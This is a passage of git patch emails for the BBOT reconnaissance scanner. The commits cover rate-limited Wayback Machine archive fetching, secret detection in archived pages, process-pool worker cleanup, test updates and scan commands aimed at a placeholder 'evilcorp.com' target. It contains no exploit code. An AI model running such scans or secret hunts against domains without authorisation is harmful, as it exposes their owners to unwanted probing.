deletions(-) diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index ceb341118b..598d89ff5f 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -174,7 +174,7 @@ async def filter_event(self, event): # don't reject targets — if the user explicitly targeted a domain, always process it is_target = event in self.scan.target.whitelist # optionally reject events with wildcards / errors - if self.reject_wildcards and not is_target: + if self.reject_wildcards: if any(t in event.tags for t in ("a-error", "aaaa-error")): return False, "Event has a DNS resolution error" if self.reject_wildcards == "strict": diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 3ced55937d..71452c892d 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -97,6 +97,13 @@ async def setup(self): self._archive_bloom = self.helpers.bloom_filter(32000000) return await super().setup() + def _incoming_dedup_hash(self, event): + # URL events are handled differently (parameter/archive cache eviction), + # so they should not be deduplicated by the subdomain_enum strategy + if event.type == "URL": + return hash(event.data), "url_event" + return super()._incoming_dedup_hash(event) + async def handle_event(self, event): if event.type == "URL": await self._handle_url_event(event) @@ -177,11 +184,14 @@ async def _check_interesting_files(self, interesting_files, event): archive_url = f"{self.base_url}/web/{raw_url}" url_metadata[archive_url] = (cleaned_url, raw_url) - gen = self.helpers.request_batch( - list(url_metadata), method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True - ) - async for archive_url, r in gen: - cleaned_url, raw_url = url_metadata[archive_url] + for archive_url, (cleaned_url, raw_url) in url_metadata.items(): + try: + r = await self.helpers.request( + archive_url, method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True + ) + except Exception as e: + self.debug(f"Interesting file HEAD check error for {raw_url}: {e}") + continue if not r or r.status_code != 200: status = getattr(r, "status_code", "no response") if r else "no response" @@ -211,7 +221,14 @@ async def _check_interesting_files(self, interesting_files, event): self.verbose(f"Interesting archived file confirmed: {raw_url}") parsed = urlparse(raw_url) await self.emit_event( - {"description": desc, "url": str(r.url), "host": str(parsed.hostname or "")}, + { + "description": desc, + "severity": "LOW", + "name": "Interesting Archived File", + "confidence": "MEDIUM", + "url": str(r.url), + "host": str(parsed.hostname or ""), + }, "FINDING", event, tags=["from-wayback", "archived", "interesting-file"], From e72cc93a72f3c7155e66388a12ebbee5dc8c891e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Sun, 15 Mar 2026 11:44:18 -0400 Subject: [PATCH 467/912] Speed up wayback archive fetching with HEAD pre-check and reactive rate limiting --- bbot/modules/wayback.py | 45 +++++++++++++++++++++++++++++++++++------ 1 file changed, 39 insertions(+), 6 deletions(-) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index 71452c892d..e13ddcb3e6 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -431,10 +431,8 @@ def _strip_wayback_wrapper(self, body): body = self._wayback_stale_ref_re.sub("", body) return body - # archive.org rate-limits aggressively; pace requests to avoid cascading ReadErrors _archive_per_request_retries = 3 _archive_batch_retries = 1 - _archive_delay = 0.5 # seconds between successful requests _archive_error_delay = 3 # initial backoff seconds after a failed request _archive_429_default_delay = 30 # default delay on 429 when no retry-after header @@ -496,11 +494,24 @@ async def _fetch_archive_batch(self, url_metadata, total, processed_offset): """ failed = [] succeeded = 0 + skipped = 0 processed = processed_offset for archive_url, (raw_url, parent_event) in url_metadata.items(): processed += 1 + # HEAD pre-check: resolve redirects cheaply to check for duplicates + # before downloading the full response body + resolved_url = await self._resolve_archive_url(archive_url, raw_url) + if resolved_url is not None and resolved_url in self._archive_bloom: + self.verbose(f"Skipping duplicate archive response for {raw_url} (resolved URL: {resolved_url})") + skipped += 1 + if processed % 50 == 0 or processed == total: + self.verbose( + f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed, {skipped:,} skipped)" + ) + continue + r = await self._fetch_single_archive_url(archive_url, raw_url) if not r or r.status_code != 200: @@ -514,14 +525,36 @@ async def _fetch_archive_batch(self, url_metadata, total, processed_offset): if processed % 50 == 0 or processed == total: self.verbose( - f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed)" + f"Archive progress: {processed:,}/{total:,} ({succeeded:,} succeeded, {len(failed):,} failed, {skipped:,} skipped)" ) - # pace requests to avoid triggering rate limits - await self.helpers.sleep(self._archive_delay) - return failed, succeeded, processed + async def _resolve_archive_url(self, archive_url, raw_url): + """HEAD request to resolve the final URL after redirects, for bloom filter pre-check. + + Returns the resolved URL string, or None if the HEAD request fails. + """ + try: + r = await self.helpers.request( + archive_url, method="HEAD", timeout=self.http_timeout + 30, follow_redirects=True, raise_error=True + ) + except Exception as e: + self.debug(f"HEAD pre-check failed for {raw_url}: {e}") + return None + if r.status_code == 429: + retry_after = r.headers.get("retry-after", "") + try: + delay = min(int(retry_after), 120) + except (ValueError, TypeError): + delay = self._archive_429_default_delay + self.verbose(f"Archive.org rate limit (429) during HEAD pre-check for {raw_url}, sleeping {delay}s") + await self.helpers.sleep(delay) + return None + if r.status_code == 200: + return str(r.url) + return None + async def _fetch_single_archive_url(self, archive_url, raw_url): """Fetch a single archive URL with per-request retry, 429 handling, and backoff. From cb53d7863017fe10a56f5cbd90cc02b5b140e14a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 23 Mar 2026 18:06:56 -0400 Subject: [PATCH 468/912] Fix pytest hanging after test_run_in_executor_mp The _hang_forever worker process outlives the test and blocks Python's threading._shutdown via the ProcessPoolExecutor management thread. Terminate stuck workers after the test and add a safety net in pytest_sessionfinish. --- bbot/test/conftest.py | 10 ++++++ bbot/test/test_step_1/test_helpers.py | 45 ++++++++++++++++++++++++++- 2 files changed, 54 insertions(+), 1 deletion(-) diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 216667d36d..4ea07bbcff 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -367,6 +367,16 @@ def pytest_sessionfinish(session, exitstatus): for handler in handlers: logger.removeHandler(handler) + # Kill any orphaned ProcessPoolExecutor workers that could block exit + import multiprocessing + + for child in multiprocessing.active_children(): + if child.is_alive(): + child.terminate() + child.join(timeout=5) + if child.is_alive(): + child.kill() + # Wipe out BBOT home dir shutil.rmtree("/tmp/.bbot_test", ignore_errors=True) diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index a8094cd628..8ca6e91223 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1,6 +1,7 @@ import asyncio import datetime import ipaddress +from concurrent.futures import ProcessPoolExecutor from ..bbot_fixtures import * @@ -978,7 +979,49 @@ async def test_rm_temp_dir_at_exit(helpers): assert not temp_dir.exists() -<<<<<<< HEAD + +# these must be top-level functions so they can be pickled for the subprocess +def _hang_forever(): + import time + + time.sleep(9999) + + +def _cpu_work(n): + return sum(range(n)) + + +@pytest.mark.asyncio +async def test_run_in_executor_mp(helpers): + # normal tasks should complete fine + result = await helpers.run_in_executor_mp(_cpu_work, 100_000) + assert result == sum(range(100_000)) + + # a hanging task should raise TimeoutError + with pytest.raises(asyncio.TimeoutError): + await helpers.run_in_executor_mp(_hang_forever, _timeout=2) + + # pool should still work after a timeout + result = await helpers.run_in_executor_mp(_cpu_work, 50_000, _timeout=30) + assert result == sum(range(50_000)) + + # kill the stuck worker so it doesn't prevent pytest from exiting + pool = helpers.process_pool + for proc in list(pool._processes.values()): + if proc.is_alive(): + proc.terminate() + proc.join(timeout=5) + pool.shutdown(wait=False, cancel_futures=True) + # replace the pool so subsequent tests aren't affected + import sys + import multiprocessing as mp + + pool_kwargs = {"max_workers": max(1, mp.cpu_count() - 1)} + if sys.version_info >= (3, 11): + pool_kwargs["max_tasks_per_child"] = 25 + helpers.process_pool = ProcessPoolExecutor(**pool_kwargs) + + def test_simhash_similarity(helpers): """Test SimHash helper with increasingly different HTML pages.""" From 86e4ae9a48769c2296b0a59968ca85c97c56cbf6 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 25 Mar 2026 09:07:48 -0400 Subject: [PATCH 469/912] Kill stuck process pool workers on timeout instead of leaking them Previously, asyncio.wait_for() only cancelled the awaiting coroutine but left the child process running indefinitely. On a 4-core machine, just 4 stuck workers would permanently stall the scan. Now on timeout we terminate all workers, replace the pool, and continue cleanly. --- bbot/core/helpers/helper.py | 63 +++++++++++++++++++++------ bbot/scanner/scanner.py | 13 +++++- bbot/test/test_step_1/test_helpers.py | 21 +-------- 3 files changed, 62 insertions(+), 35 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index d1d64850ef..925b736516 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -77,20 +77,12 @@ def __init__(self, preset): self._loop = None - # multiprocessing thread pool + # multiprocessing process pool start_method = mp.get_start_method() if start_method != "spawn": self.warning(f"Multiprocessing spawn method is set to {start_method}.") - - # we spawn 1 fewer processes than cores - # this helps to avoid locking up the system or competing with the main python process for cpu time - num_processes = max(1, mp.cpu_count() - 1) - pool_kwargs = {"max_workers": num_processes} - # max_tasks_per_child replaces workers after N tasks, preventing memory leaks - # and reducing the chance of a degraded worker process causing hangs - if sys.version_info >= (3, 11): - pool_kwargs["max_tasks_per_child"] = 25 - self.process_pool = ProcessPoolExecutor(**pool_kwargs) + self.process_pool = self._create_process_pool() + self._pool_reset_lock = asyncio.Lock() self._cloud = None self._blasthttp_client = None @@ -221,6 +213,18 @@ def loop(self): self._loop.set_default_executor(self._io_executor) return self._loop + @staticmethod + def _create_process_pool(): + # we spawn 1 fewer processes than cores + # this helps to avoid locking up the system or competing with the main python process for cpu time + num_processes = max(1, mp.cpu_count() - 1) + pool_kwargs = {"max_workers": num_processes} + # max_tasks_per_child replaces workers after N tasks, preventing memory leaks + # and reducing the chance of a degraded worker process causing hangs + if sys.version_info >= (3, 11): + pool_kwargs["max_tasks_per_child"] = 25 + return ProcessPoolExecutor(**pool_kwargs) + def run_in_executor_io(self, callback, *args, **kwargs): """ Run a synchronous task in the event loop's default thread pool executor @@ -249,8 +253,8 @@ async def run_in_executor_mp(self, callback, *args, **kwargs): Same as run_in_executor_io() except with a process pool executor. Use only in cases where callback is CPU-bound. - Includes a timeout (default 300s) to prevent indefinite hangs if a - child process dies or the pool enters a broken state. + Includes a timeout (default 300s) to prevent indefinite hangs if a child process dies or the pool enters a broken state. + On timeout, the entire pool is terminated and replaced so that stuck workers cannot accumulate and starve the scan. Pass ``_timeout=seconds`` to override the default timeout. @@ -261,7 +265,38 @@ async def run_in_executor_mp(self, callback, *args, **kwargs): timeout = kwargs.pop("_timeout", 300) callback = partial(callback, **kwargs) future = self.loop.run_in_executor(self.process_pool, callback, *args) - return await asyncio.wait_for(future, timeout=timeout) + try: + return await asyncio.wait_for(future, timeout=timeout) + except asyncio.TimeoutError: + log.warning(f"Process pool task timed out after {timeout}s, killing stuck workers and replacing pool") + await self._reset_process_pool() + raise + + async def _reset_process_pool(self): + """Terminate all workers in the current process pool and replace it. + + This is the nuclear option — every in-flight task on the old pool will fail with BrokenProcessPool. + We accept that trade-off because a timeout means something is genuinely broken, and leaving the stuck worker alive would permanently consume a pool slot. + + # TODO: Python 3.14 adds ProcessPoolExecutor.terminate_workers() + # and kill_workers() (https://github.com/python/cpython/pull/130849). + # Once we drop 3.13 support we can replace the _processes access + # with those official methods. + """ + async with self._pool_reset_lock: + old_pool = self.process_pool + self.process_pool = self._create_process_pool() + # snapshot workers before shutdown (shutdown sets _processes = None) + workers = list((old_pool._processes or {}).values()) + # terminate workers before shutdown so stuck ones don't block + for proc in workers: + if proc.is_alive(): + proc.terminate() + old_pool.shutdown(wait=False, cancel_futures=True) + # escalate to SIGKILL for anything that ignored SIGTERM + for proc in workers: + if proc.is_alive(): + proc.kill() @property def in_tests(self): diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b5a4712550..0900d615fa 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -908,8 +908,17 @@ def _cancel_tasks(self): tasks.append(self._stop_task) self.helpers.cancel_tasks_sync(tasks) - # process pool (wait=False so a stuck worker can't hang the cleanup) - self.helpers.process_pool.shutdown(wait=False, cancel_futures=True) + # kill all pool workers and shut down (same logic as _reset_process_pool + # but synchronous, since we're tearing down the scan) + pool = self.helpers.process_pool + workers = list((pool._processes or {}).values()) + for proc in workers: + if proc.is_alive(): + proc.terminate() + pool.shutdown(wait=False, cancel_futures=True) + for proc in workers: + if proc.is_alive(): + proc.kill() self.debug("Finished cancelling all scan tasks") return tasks diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 8ca6e91223..fdc35b383b 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1,7 +1,6 @@ import asyncio import datetime import ipaddress -from concurrent.futures import ProcessPoolExecutor from ..bbot_fixtures import * @@ -997,30 +996,14 @@ async def test_run_in_executor_mp(helpers): result = await helpers.run_in_executor_mp(_cpu_work, 100_000) assert result == sum(range(100_000)) - # a hanging task should raise TimeoutError + # a hanging task should raise TimeoutError and auto-replace the pool with pytest.raises(asyncio.TimeoutError): await helpers.run_in_executor_mp(_hang_forever, _timeout=2) - # pool should still work after a timeout + # pool should still work after a timeout (was replaced by _reset_process_pool) result = await helpers.run_in_executor_mp(_cpu_work, 50_000, _timeout=30) assert result == sum(range(50_000)) - # kill the stuck worker so it doesn't prevent pytest from exiting - pool = helpers.process_pool - for proc in list(pool._processes.values()): - if proc.is_alive(): - proc.terminate() - proc.join(timeout=5) - pool.shutdown(wait=False, cancel_futures=True) - # replace the pool so subsequent tests aren't affected - import sys - import multiprocessing as mp - - pool_kwargs = {"max_workers": max(1, mp.cpu_count() - 1)} - if sys.version_info >= (3, 11): - pool_kwargs["max_tasks_per_child"] = 25 - helpers.process_pool = ProcessPoolExecutor(**pool_kwargs) - def test_simhash_similarity(helpers): """Test SimHash helper with increasingly different HTML pages.""" From 5e917fe437d57908e7f51898d8933af8554649fe Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Thu, 26 Mar 2026 15:30:16 -0400 Subject: [PATCH 470/912] Fix wayback module for URL DictHostEvent migration, rename wayback-intense to wayback-heavy URL_UNVERIFIED/URL events changed from string to dict data in 3.0 merge. Fix event.data -> event.url for hash, clean_url, and test assertions. Add filter_event override to skip subdomain_enum filtering for URL events. --- bbot/modules/wayback.py | 12 ++++++-- ...{wayback-intense.yml => wayback-heavy.yml} | 0 .../module_tests/test_module_wayback.py | 28 +++++++++---------- docs/modules/wayback.md | 6 ++-- 4 files changed, 26 insertions(+), 20 deletions(-) rename bbot/presets/{wayback-intense.yml => wayback-heavy.yml} (100%) diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index e13ddcb3e6..6ec3f9238b 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -101,9 +101,15 @@ def _incoming_dedup_hash(self, event): # URL events are handled differently (parameter/archive cache eviction), # so they should not be deduplicated by the subdomain_enum strategy if event.type == "URL": - return hash(event.data), "url_event" + return hash(event.url), "url_event" return super()._incoming_dedup_hash(event) + async def filter_event(self, event): + # URL events are handled separately and don't need subdomain_enum's wildcard/cloud filtering + if event.type == "URL": + return True + return await super().filter_event(event) + async def handle_event(self, event): if event.type == "URL": await self._handle_url_event(event) @@ -148,11 +154,11 @@ async def _handle_url_event(self, event): break # only 2xx counts as live — 3xx (e.g. http→https 301 to a 404) doesn't confirm the page exists if 200 <= status_code < 300: - cleaned = clean_url(event.data).geturl() + cleaned = clean_url(event.url).geturl() if self._archive_cache.pop(cleaned, None) is not None: self.verbose(f"URL is live (status {status_code}), removed from archive cache: {cleaned}") - cached = self._parameter_cache.pop(clean_url(event.data).geturl(), None) + cached = self._parameter_cache.pop(clean_url(event.url).geturl(), None) if cached is not None: flat_params, base_url = cached for param_name, original_value in flat_params.items(): diff --git a/bbot/presets/wayback-intense.yml b/bbot/presets/wayback-heavy.yml similarity index 100% rename from bbot/presets/wayback-intense.yml rename to bbot/presets/wayback-heavy.yml diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 9bbd2b279e..0093dac879 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -37,7 +37,7 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args={"uri": "/page"}, respond_args={"response_data": "alive"}) def check(self, module_test, events): - assert any(e.type == "URL_UNVERIFIED" and "127.0.0.1" in e.data and "/page" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "127.0.0.1" in e.url and "/page" in e.url for e in events), ( "Failed to emit URL_UNVERIFIED" ) assert any( @@ -119,7 +119,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # the dead URL (port 1) should NOT be verified as live - assert not any(e.type == "URL" and "deadpage" in e.data for e in events) + assert not any(e.type == "URL" and "deadpage" in e.url for e in events) # badsecrets should have found the vulnerability in the archived viewstate assert any(e.type == "VULNERABILITY" and "Known Secret Found." in e.data["description"] for e in events), ( "Failed to detect badsecrets vulnerability from archived content" @@ -158,12 +158,12 @@ async def setup_after_prep(self, module_test): ) def check(self, module_test, events): - url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/page" in e.data] + url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/page" in e.url] # should have only one, the https version assert len(url_unverified) == 1, ( - f"Expected 1 URL_UNVERIFIED, got {len(url_unverified)}: {[e.data for e in url_unverified]}" + f"Expected 1 URL_UNVERIFIED, got {len(url_unverified)}: {[e.url for e in url_unverified]}" ) - assert url_unverified[0].data.startswith("https://"), f"Expected https URL, got: {url_unverified[0].data}" + assert url_unverified[0].url.startswith("https://"), f"Expected https URL, got: {url_unverified[0].url}" class TestWaybackHttpOnlyKept(ModuleTestBase): @@ -184,10 +184,10 @@ async def setup_after_prep(self, module_test): ) def check(self, module_test, events): - url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/old-http-only" in e.data] + url_unverified = [e for e in events if e.type == "URL_UNVERIFIED" and "/old-http-only" in e.url] assert len(url_unverified) == 1, f"Expected 1 URL_UNVERIFIED, got {len(url_unverified)}" - assert url_unverified[0].data.startswith("http://"), ( - f"Expected http URL when no https exists, got: {url_unverified[0].data}" + assert url_unverified[0].url.startswith("http://"), ( + f"Expected http URL when no https exists, got: {url_unverified[0].url}" ) @@ -211,11 +211,11 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # cdn-cgi URL should be filtered - assert not any(e.type == "URL_UNVERIFIED" and "cdn-cgi" in e.data for e in events), ( + assert not any(e.type == "URL_UNVERIFIED" and "cdn-cgi" in e.url for e in events), ( "cdn-cgi URL should have been filtered" ) # real page should still be emitted - assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.url for e in events), ( "Non-cdn-cgi URL should have been emitted" ) @@ -544,11 +544,11 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # garbage URL should be filtered - assert not any(e.type == "URL_UNVERIFIED" and "get-materials" in e.data for e in events), ( + assert not any(e.type == "URL_UNVERIFIED" and "get-materials" in e.url for e in events), ( "Crawler-trap URL with repeating path segments should have been filtered" ) # real page should still be emitted - assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "real-page" in e.url for e in events), ( "Non-garbage URL should have been emitted" ) @@ -575,11 +575,11 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): # long URL should be filtered - assert not any(e.type == "URL_UNVERIFIED" and "aaaa" in e.data for e in events), ( + assert not any(e.type == "URL_UNVERIFIED" and "aaaa" in e.url for e in events), ( "Excessively long URL should have been filtered" ) # normal page should still be emitted - assert any(e.type == "URL_UNVERIFIED" and "normal-page" in e.data for e in events), ( + assert any(e.type == "URL_UNVERIFIED" and "normal-page" in e.url for e in events), ( "Normal-length URL should have been emitted" ) diff --git a/docs/modules/wayback.md b/docs/modules/wayback.md index dab08340db..a3f30f3e23 100644 --- a/docs/modules/wayback.md +++ b/docs/modules/wayback.md @@ -83,12 +83,12 @@ Basic URL discovery mode. Includes `subdomain-enum` and enables `urls: True`. Go bbot -p wayback -t evilcorp.com ``` -### `-p wayback-intense` +### `-p wayback-heavy` Full-featured mode with URL discovery, parameter extraction, and archive retrieval. Also includes `badsecrets` to scan archived content for exposed secrets. ```bash -bbot -p wayback-intense -t evilcorp.com +bbot -p wayback-heavy -t evilcorp.com ``` ### Integration with other presets @@ -117,7 +117,7 @@ bbot -p wayback -t evilcorp.com ```bash # Full wayback integration with archived content and parameter extraction -bbot -p wayback-intense -t evilcorp.com +bbot -p wayback-heavy -t evilcorp.com ``` ```bash From 9b3b3f443d220ec13a89dd618e13909755ff9ec6 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Mon, 30 Mar 2026 14:24:12 -0400 Subject: [PATCH 471/912] Replace archive_url inheritance with tag-based parent traversal Stop auto-copying archive_url from parent to child event data dicts, which could infect live HTTP responses downstream. Instead, use the from-wayback tag as a signal and traverse upward to find the nearest archive_url when needed (via new event.archive_url property). --- bbot/core/event/base.py | 33 +++++++++++-------- .../module_tests/test_module_wayback.py | 22 ++++++++----- 2 files changed, 34 insertions(+), 21 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 3232e6d55c..efb08a424a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -649,6 +649,26 @@ def parent_uuid(self): return parent_uuid return self._parent_uuid + @property + def archive_url(self): + """Traverse the parent chain to find the nearest archive_url. + + The 'from-wayback' tag signals that this event descends from archived content. + The actual archive URL is stored only in the data dict of the originating + wayback HTTP_RESPONSE; this property walks upward to find it. + """ + if "from-wayback" not in self.tags: + return None + event = self + while event is not None: + if isinstance(event.data, dict) and "archive_url" in event.data: + return event.data["archive_url"] + parent = getattr(event, "parent", None) + if parent is None or parent is event: + break + event = parent + return None + @property def validators(self): """ @@ -1069,19 +1089,6 @@ def _data_load(self, data): class DictHostEvent(DictEvent): - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - # inherit archive_url from parent for provenance tracking (e.g. wayback archived content) - if isinstance(self.data, dict) and "archive_url" not in self.data: - parent = self.parent - if ( - parent is not None - and parent is not self - and isinstance(parent.data, dict) - and "archive_url" in parent.data - ): - self.data["archive_url"] = parent.data["archive_url"] - def _host(self): if isinstance(self.data, dict) and "host" in self.data: return make_ip_type(self.data["host"]) diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index 0093dac879..e9bab6b575 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -306,21 +306,27 @@ def check(self, module_test, events): assert "web.archive.org" not in finding_url, ( f"Hunt FINDING url should NOT contain web.archive.org, got: {finding_url}" ) - # archive_url should propagate from HTTP_RESPONSE → WEB_PARAMETER → FINDING - assert "archive_url" in finding.data, ( - f"Hunt FINDING should have archive_url for provenance, got: {finding.data}" + # from-wayback tag should propagate; archive_url is reachable via parent traversal + assert "from-wayback" in finding.tags, ( + f"Hunt FINDING should have from-wayback tag, got tags: {finding.tags}" ) - assert "web.archive.org" in finding.data["archive_url"], ( - f"Hunt FINDING archive_url should be archive.org URL, got: {finding.data['archive_url']}" + assert finding.archive_url is not None, ( + "Hunt FINDING should be able to reach archive_url via parent traversal" + ) + assert "web.archive.org" in finding.archive_url, ( + f"Hunt FINDING archive_url should be archive.org URL, got: {finding.archive_url}" ) - # WEB_PARAMETERs from archived content should also have archive_url + # WEB_PARAMETERs from archived content should have from-wayback tag and reachable archive_url archived_params = [ e for e in events if e.type == "WEB_PARAMETER" and "redirect" in e.data.get("name", "").lower() ] for param in archived_params: - assert "archive_url" in param.data, ( - f"WEB_PARAMETER from archived content should have archive_url, got: {param.data}" + assert "from-wayback" in param.tags, ( + f"WEB_PARAMETER from archived content should have from-wayback tag, got tags: {param.tags}" + ) + assert param.archive_url is not None, ( + "WEB_PARAMETER from archived content should reach archive_url via parent traversal" ) # web.archive.org should never appear as a DNS_NAME From bce4b865a8241a637e3dbe78c6b094c284de9d0c Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Fri, 3 Apr 2026 15:19:22 -0400 Subject: [PATCH 472/912] =?UTF-8?q?Fix=20tests=20for=20blasthttp=20migrati?= =?UTF-8?q?on:=20httpx=5Fmock=E2=86=92blasthttp=5Fmock,=20whitelist?= =?UTF-8?q?=E2=86=92targets,=20VULNERABILITY=E2=86=92FINDING,=20httpx?= =?UTF-8?q?=E2=86=92http=20module=20refs?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bbot/modules/templates/subdomain_enum.py | 2 - bbot/test/test_step_1/test_helpers.py | 27 ----------- .../module_tests/test_module_excavate.py | 2 +- .../module_tests/test_module_wayback.py | 48 +++++++++---------- 4 files changed, 25 insertions(+), 54 deletions(-) diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 598d89ff5f..3bdcdff07b 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -171,8 +171,6 @@ async def filter_event(self, event): # reject if it's a cloud resource and not in our target (unless it's a seed event) if is_cloud and not self.scan.in_target(event) and "seed" not in event.tags: return False, "Event is a cloud resource and not a direct target" - # don't reject targets — if the user explicitly targeted a domain, always process it - is_target = event in self.scan.target.whitelist # optionally reject events with wildcards / errors if self.reject_wildcards: if any(t in event.tags for t in ("a-error", "aaaa-error")): diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index fdc35b383b..783dac9b38 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -978,7 +978,6 @@ async def test_rm_temp_dir_at_exit(helpers): assert not temp_dir.exists() - # these must be top-level functions so they can be pickled for the subprocess def _hang_forever(): import time @@ -1173,29 +1172,3 @@ def test_clean_dns_record(): assert clean_dns_record("'d1jwhzvlef5tfb.example.com'") == "d1jwhzvlef5tfb.example.com" # quotes + trailing dot assert clean_dns_record('"d1jwhzvlef5tfb.example.com."') == "d1jwhzvlef5tfb.example.com" - - -# these must be top-level functions so they can be pickled for the subprocess -def _hang_forever(): - import time - - time.sleep(9999) - - -def _cpu_work(n): - return sum(range(n)) - - -@pytest.mark.asyncio -async def test_run_in_executor_mp(helpers): - # normal tasks should complete fine - result = await helpers.run_in_executor_mp(_cpu_work, 100_000) - assert result == sum(range(100_000)) - - # a hanging task should raise TimeoutError - with pytest.raises(asyncio.TimeoutError): - await helpers.run_in_executor_mp(_hang_forever, _timeout=2) - - # pool should still work after a timeout - result = await helpers.run_in_executor_mp(_cpu_work, 50_000, _timeout=30) - assert result == sum(range(50_000)) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index e45cdbe646..6bb4d60001 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1301,7 +1301,7 @@ class TestExcavate_webparameter_ip_host(ModuleTestBase): """ targets = ["http://localhost:8888"] - modules_overrides = ["httpx", "excavate", "hunt"] + modules_overrides = ["http", "excavate", "hunt"] config_overrides = {"interactsh_disable": True} async def setup_after_prep(self, module_test): diff --git a/bbot/test/test_step_2/module_tests/test_module_wayback.py b/bbot/test/test_step_2/module_tests/test_module_wayback.py index e9bab6b575..150d7de339 100644 --- a/bbot/test/test_step_2/module_tests/test_module_wayback.py +++ b/bbot/test/test_step_2/module_tests/test_module_wayback.py @@ -21,8 +21,8 @@ def check(self, module_test, events): class TestWaybackParameters(ModuleTestBase): module_name = "wayback" + targets = ["blacklanternsecurity.com", "127.0.0.1"] modules_overrides = ["wayback", "hunt"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "parameters": True}}} async def setup_after_prep(self, module_test): @@ -61,7 +61,7 @@ def check(self, module_test, events): class TestWaybackInterestingFiles(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True}}} async def setup_after_prep(self, module_test): @@ -89,7 +89,7 @@ def check(self, module_test, events): class TestWaybackArchive(ModuleTestBase): module_name = "wayback" modules_overrides = ["wayback", "badsecrets", "excavate"] - whitelist = ["blacklanternsecurity.com", "127.0.0.1"] + targets = ["blacklanternsecurity.com", "127.0.0.1"] config_overrides = {"modules": {"wayback": {"urls": True, "archive": True}}} sample_viewstate = """<html> @@ -121,17 +121,17 @@ def check(self, module_test, events): # the dead URL (port 1) should NOT be verified as live assert not any(e.type == "URL" and "deadpage" in e.url for e in events) # badsecrets should have found the vulnerability in the archived viewstate - assert any(e.type == "VULNERABILITY" and "Known Secret Found." in e.data["description"] for e in events), ( + assert any(e.type == "FINDING" and "Known Secret Found." in e.data["description"] for e in events), ( "Failed to detect badsecrets vulnerability from archived content" ) # the vulnerability should reference the original URL, with "from-wayback" tag for provenance for e in events: - if e.type == "VULNERABILITY" and "Known Secret Found." 